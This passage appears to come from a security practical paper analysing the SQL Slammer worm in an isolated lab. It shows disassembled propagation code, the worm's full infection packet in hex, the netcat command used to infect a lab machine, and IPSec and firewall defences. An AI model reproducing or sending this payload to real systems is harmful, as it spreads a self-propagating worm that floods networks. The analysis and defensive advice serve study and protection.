lea     eax, [ebp-3Ch]
                push    eax			; [EBP-58h]
                mov     eax, [ebp-40h]
                push    eax			; [EBP-5Ch]
                call    dword ptr [esi]	; Procedure exit: ESP=EBP-54h
                mov     esi, eax

The worm XORs the EBX register with 0xFFD9613C, before beginning its simple spreading routine. The OR instruction was most likely intended to be an XOR. However, this doesn't break worm functionality; it only modifies the worm's random address behavior slightly. This may be the reason for some hosts seeing a disproportionate number of scans:

                or      ebx, ebx        
                xor     ebx, 0FFD9613Ch

Propagation

The worm then initializes a propagation routine that generates 'random' IP addresses, and sends the attack packet to each system on the SQL resolution service' default UDP port 1434.

This portion of the routine generates a random number based on the seed stored at EBP-4Ch, and then replacing it with the value in EAX at the end of the procedure:
PRND:

                mov     eax, [ebp-4Ch]		; EAX=Random seed
                lea     ecx, [eax+eax*2]	; ECX=EAX*4
                lea     edx, [eax+ecx*4]	; EDX=ECX*4+EAX
                shl     edx, 4			; EDX=EDX<<4
                add     edx, eax		; EDX+=EAX
                shl     edx, 8			; EDX=EDX<<8
                sub     edx, eax		; EDX-=EAX
                lea     eax, [eax+edx*4]	; EAX+=EDX*4
                add     eax, ebx		; EAX+=EBX
                mov     [ebp-4Ch], eax		; Replace old seed w/ new one

This is the portion of code where sendto is actually called. The parameters to the function are commented in the code below. The parameter list to sendto is as follows:

		WINSOCK_API_LINKAGE
		int
		WSAAPI
		sendto(
    		SOCKET s,
    		const char FAR * buf,
    		int len,
    		int flags,
    		const struct sockaddr FAR * to,
    		int tolen
    		);

The parameters are passed as follows:

                push    10h			; [EBP-58h] sizeof(struct sockaddr_in)
                lea     eax, [ebp-50h]
                push    eax			; [EBP-5Ch] eax=Target address
                xor     ecx, ecx
                push    ecx			; [EBP-60h] ecx=Send flags
                xor     cx, 178h
                push    ecx			; [EBP-64h] ecx=Packet length
                lea     eax, [ebp+3]
                push    eax			; [EBP-68h] eax=Exploit address
                mov     eax, [ebp-54h]
                push    eax			; [EBP-6Ch] eax=socket descriptor
                call    esi			; Procedure exit: ESP=EBP-54h

The worm then continues replication by jumping back into the pseudo-random number generator:

                jmp     short PRND

Explanation of How Exploit would Infect a Target Machine and Network

Presuming you had a machine running MSDE 2000 with port 1434 open and directly connected to the Internet with no firewall filtering, no router port filtering or proper patches, an infected machine would send a non-infected machine the following packet:

09:52:28.874027 192.xxx.yyy.zzz.32806 > target.machine.com.ms-sql-m:  udp 477 (DF) (ttl 64, id 37316, len 505)
                         4500 01f9 91c4 4000 4011 230a c0a8 016b
                         c0a8 016a 8026 059a 01e5 d456 0401 0101
                         0101 0101 0101 0101 0101 0101 0101 0101
                         0101 0101 0101 0101 0101 0101 0101 0101
                         0101 0101 0101 0101 0101 0101 0101 0101
                         0101 0101 0101 0101 0101 0101 0101 0101
                         0101 0101 0101 0101 0101 0101 0101 0101
                         0101 0101 0101 0101 0101 0101 01c3 9cc3
                         89c2 b042 c3ab 0e01 0101 0101 0101 70c2
                         ae42 0170 c2ae 42c2 90c2 90c2 90c2 90c2
                         90c2 90c2 90c2 9068 c39c c389 c2b0 42c2
                         b801 0101 0131 c389 c2b1 1850 c3a2 c3bd
                         3501 0101 0550 c289 c3a5 5168 2e64 6c6c
                         6865 6c33 3268 6b65 726e 5168 6f75 6e74
                         6869 636b 4368 4765 7454 66c2 b96c 6c51
                         6833 322e 6468 7773 325f 66c2 b965 7451
                         6873 6f63 6b66 c2b9 746f 5168 7365 6e64
                         c2be 1810 c2ae 42c2 8d45 c394 50c3 bf16
                         50c2 8d45 c3a0 50c2 8d45 c3b0 50c3 bf16
                         50c2 be10 10c2 ae42 c28b 1ec2 8b03 3d55
                         c28b c3ac 5174 05c2 be1c 10c2 ae42 c3bf
                         16c3 bfc3 9031 c389 5151 50c2 81c3 b103
                         0104 c29b c281 c3b1 0101 0101 51c2 8d45 

Once this packed is received on the target machine, the buffer overflow occurs and the machine begins sending out the same packet to other IP addresses in a random fashion. The "sqlserver.exe" task in the task manager window reaches about 99% of processor capacity. The Slammer worm was launched in a test lab, with proper protection to ensure no propagation occurs beyond this network. A diagram of the network is shown below:

The machine to be targeted is 192.168.1.106, hereby denoted by its domain name "exploit.mmicmanhomenet.local." The procedure I went through to demonstrate how a machine would become infected is as follows:

1. Microsoft Windows 2000 with Service Pack 3 installed on target machine. Computer named "exploit."
2. "exploit" joined to domain "mmicmanhoment.local." Domain template "nsa_group policy" applied to exploit. The ".inf" file for this template can be found at the National Security Agency Web site at http://www.nsa.gov/snac/index.html.
3. The Windows 2000 client gold template, available from the Center For Internet Security at http://www.cisecurity.org, was applied to "exploit."
4. Access to the Internet was granted through the firewall and all patches were applied to "exploit" from the Microsoft update site.
5. MSDE 2000 was installed on "exploit." The command "netstat -an" was run to verify that UDP port 1434 was open:
   
6. The CIS Scoring tool was run to determine if the machine was in a secure state. The results are shown below. Note that no hotfixes were deemed necessary after install of MSDE 2000.
   
7. As a final sanity check, the Windows update site was again revisited and the computer scanned for any updates needed. The results are shown below:
   
8. Now that the target machine is ready, a firewall rule is added to close off all UDP port 1434 connections to the Internet, to ensure that infection does not spread.
9. An additional machine on the network (Windows XP Professional Client at 192.168.1.101) had MSDE 2000 installed to show that another machine can become infected.
10. A bandwidth Monitor was added to both machines to document worm throughput at the machine level. The Windows XP Client comes with a bandwidth monitor built into the task manager, but I wanted to have both machines use the same bandwidth monitor.
11. A perl script was used to infect the target machine, obtained from http://www.digitaloffense.net/worms/mssql_udp_worm. The perl script source code use for SQL Slammer infection is shown below:
    
    The contents of this perl script are the worm itself, were analyzed and explained previously.
12. The Domain controller was used as the platform to infect the target machine. For monitoring, a Linux machine was added running tcpdump to record all port 1434 activity. The modified network is shown below:
    
    Figure 5. Diagram of Network showing how target machine was infected and monitored
13. Once the command "perl worm.pl | nc 192.168.1.106 -u 1434 -v -v -v that following packet was recorded by the Linux machine:
    

    17:28:03.630029 w2kserver.mmicmanhomenet.local.32814 > exploit.mmicmanhomenet.local.ms-sql-m:  udp 477 (DF) (ttl 64, id 37316, len 505)
                             4500 01f9 91c4 4000 4011 230a c0a8 016b
                             c0a8 016a 8026 059a 01e5 d456 0401 0101
                             0101 0101 0101 0101 0101 0101 0101 0101
                             0101 0101 0101 0101 0101 0101 0101 0101
                             0101 0101 0101 0101 0101 0101 0101 0101
                             0101 0101 0101 0101 0101 0101 0101 0101
                             0101 0101 0101 0101 0101 0101 0101 0101
                             0101 0101 0101 0101 0101 0101 01c3 9cc3
                             89c2 b042 c3ab 0e01 0101 0101 0101 70c2
                             ae42 0170 c2ae 42c2 90c2 90c2 90c2 90c2
                             90c2 90c2 90c2 9068 c39c c389 c2b0 42c2
                             b801 0101 0131 c389 c2b1 1850 c3a2 c3bd
                             3501 0101 0550 c289 c3a5 5168 2e64 6c6c
                             6865 6c33 3268 6b65 726e 5168 6f75 6e74
                             6869 636b 4368 4765 7454 66c2 b96c 6c51
                             6833 322e 6468 7773 325f 66c2 b965 7451
                             6873 6f63 6b66 c2b9 746f 5168 7365 6e64
                             c2be 1810 c2ae 42c2 8d45 c394 50c3 bf16
                             50c2 8d45 c3a0 50c2 8d45 c3b0 50c3 bf16
                             50c2 be10 10c2 ae42 c28b 1ec2 8b03 3d55
                             c28b c3ac 5174 05c2 be1c 10c2 ae42 c3bf
                             16c3 bfc3 9031 c389 5151 50c2 81c3 b103
                             0104 c29b c281 c3b1 0101 0101 51c2 8d45   
    

    The task manager on "exploit" showed a high percentage of use from the "sqlserver.exe" task:
    
    Note that the CPU usage was only 74%. This is due to the Screen capture program using the processor to capture this screen image, and windump running in the background. Taking these two items into account, I observed 99% CPU usage for the "sqlserver.exe" task.
14. The XP Professional Client was infected almost immediately. Bandwidth monitors on both infected machines show about 25 Mb/s traffic each:
    
    Figure 5. Bandwidth Monitor showing used bandwidth (kilobytes/sec) on both SQL Slammer infected machines (Bandwidth Monitor Program, courtesy of http://www.idyle.com)
15. The machines were run for about 4 minutes in this mode while tcpdump recorded the packets sent. Tcpdump recorded and average of over 18,000 packets/s on "exploit" which corresponded to about 60 Mb/s. I did not have a monitor on the other infected machine, but presuming that other machine's throughput was similar, that is 120 Mb/s of traffic hitting my network.
16. Both infected machines were rebooted to remove the worm.

How To Protect Against the SQL Slammer Worm

The UDP port 1434 is only used for SQL Server discovery, and all attempts to access it should be blocked at either the border router and/or firewall. Internal access to the SQL Server or MSDE application should also be minimized. For those individuals needing explicit internet access for their applications, I recommend the used of IPSec filtering, which is available on all Windows operating systems from 2000 on. An example of how to set this up follows:

1. Access "Local Security Policy" of machine. This can be found under Start -> Control Panel -> Administrative Tools. For this example, I am creating a policy on the Domain Controller so that it is replicated to my other machines. Right Click on IP Security to create a new policy. The following window appears. Click Next.
   
2. The following window allows you to name the policy and provide any comments the users deems necessary. When finished, click Next to Continue
   
3. The next window asks whether or not you wish to activate the default response (Kerberos authentication) rule. Since we are creating a rule to block traffic, leave this box unchecked and click Next
4. The next window shows a completed rule file. Leave the "Edit Properties box checked and click Finish and the following window appears:
   
   Note that the Default response rule is created, but in order to activate it, you must check the box. Since I will be creating a new rule which will not need Kerberos, I will leave this box unchecked. Clicking Add brings up the next window; click Next to continue.
5. The next slide asks whether or not I wish to create an IPSec tunnel. This would be appropriate for external Internet connections (i.e. VPN), but since I am creating this rule to block traffic, I leave the default "This rule does not specify and tunnel" and click Next
6. The next window asks what type of network connection this rule is for. Since I want to block all network traffic, I leave the default checked and click Next.
7. The next window allows you to add multiple authentication methods. Leave the default box checked and click Next.
8. Next, your are brought to a window which lists all filters that have been created. Since I am creating a new filter, I click Add to continue.
9. I finally arrive at the screen which will allow me to create the filters to block all incoming and outgoing UDP port 1434 traffic for "exploit.mmicmanhomenet.local" which is located at IP address 192.168.1.106. For sake of brevity I will skip the rule creation steps and show the final screen. The adding rules wizard is pretty easy to go through.
   
10. Once I click Close you are brought back to the previous window. Make sure that the new rule has been created and is highlighted
    I click Next to continue on to the next window, which asks me what I want to do with the rule I just created.
    Since my goal is to block all incoming and outgoing traffic, I leave the default Block highlighted and click Next.
    Since I am finished creating rules, I click Finish at this window
11. 11. I am now brought back to my original window, which shows the new policy I have created.
    I can add more polices if I wish, but since my goal was to block UDP port 1434 traffic only, I click Close to finish.

While this procedure shows how you can create a single rule on a domain controller, this method also applies to creating standalone rules on client machines. In that case, you would use Start -> Control Panel -> Administrative Tools -> Local Security Policy path on the client machine itself. to create rules for that specific machine.

I also recommend updating the machines with MSDE 2000/SQL Server 2000 with the latest service pack (Service Pack 3) from Microsoft. This can be obtained at the following URL: http://www.microsoft.com/sql/downloads/2000/sp3.asp

Recommendations to Prevent Future Attacks

As shown in the previous pages, patching should not be the first line of defense against this attack. Most people would have looked at the Microsoft Update site and though they were properly protected. Even the CIS scoring tool missed this security hole. Even if one patched all SQL Servers, as recommended by the SANS/FBI Top 20 would have still missed MSDE. The binary nature of the worm meant that it took only a single infected system to take down my network. A patch management system that covered 99.9% of all machines in a large datacenter would have still left one of them vulnerable. Another issue with patches is that they often create more problems, such as your applications not working as before.

I also believe that most of the traffic generated was due to infected client machines. I list of the different applications which used the MSDE engine is provided in Appendix C. Since SQL Server is a database server, it is highly unlikely that companies would leave unprotected corporate (and potentially customer) databases unprotected on the Internet. According to a Wall Street Journal article (see references) SQL Server represents only 11% of the total database server market. Oracle and IBM have about 40% and 33% of the market respectively, yet they are not even mentioned in the SANS Top 20. One need only go to David Litchfield's corporate web site at http://www.nextgenss.com to see the documented Oracle exploits. My recommendation to SANS is to change the SQL Server vulnerability to MSDE 2000 and/or add Oracle and IBM's Lotus database to the list.

The following recommendations are more generic in nature, but serve as a benchmark to help prevent any and all future exploits.

1. A computer usually has a function whether it be as a home computer running simple office applications, a workstation running complex computer programs, a web server or whatever. Before one hooks up a computer, one should define its function and the services necessary to perform that function. If the computer is not going to be used as a database or web server, then those programs and services should not be running.
2. Use of the "netstat -an" command on a Windows or Unix machine will let you know what ports are open on your machine. For example, POP3 runs on TCP port 110. If your machine is not running a POP server, this port should not be open.
3. Use of filtering (IPSec filters in Windows, TCP wrappers on Unix) can help further shield the machine from attack, as well as contain the attack once a machine has been exploited.
4. Use ingress/egress filtering at firewall and/or border router to only allow access to the Internet those ports necessary on that machine for it to perform its function.

Additonsal Resources

For further reading on the vulnerabilities associated with UDP port 1434 and associated exploits:

1. http://isc.incidents.org/analysis.html?id=180 - This web site gives valuable information on the signature of the worm, how to stop via port blocking and patching, and how to detect scans via snort rule
2. http://www.digitaloffense.net/worms/mssql_udp_worm/ - Referenced in item 1 above, this site provides for worm disassembly and a source code perl script of the worm.
3. http://www.ngssoftware.com/advisories/mssql-udp.txt - David Litchfield's corporate web site, which provides a discussion and source code of the buffer overflow vulnerability in SQL/MSDE as well as a host of other SQL Server and Oracle vulnerabilities
4. http://www.techie.hopto.org/sqlworm.html - Detailed discussion of worm features at the assembler code level.
5. http://www.eeye.com/html/Research/Flash/sapphire.txt - Eeye Corporation's worm disassembly analysis.
6. http://www.robertgraham.com - Robert Graham of BlackIce fame's website. Contains, detailed discussion on the Slammer worm, and provides strong evidence that this attack infected primarily clients, not servers.
7. http://www.caida.org/outreach/papers/2003/sapphire.sapphire.html - Great discussion of how the worm spread and a detailed analysis of the pseudo-random number generator used by the worm to infect other systems.
8. http://news.com.com/2100-1083-983720.html?tag=fd_lede2_hed - Wrap-up article on the effects of the slammer worm.
9. http://news.com.com/2009-1001-983540.html - Another article which documents Siebel Systems attempts to get rid of the worm. I believe this article provides further evidence that MSDE installations were the primary cause of this exploit

References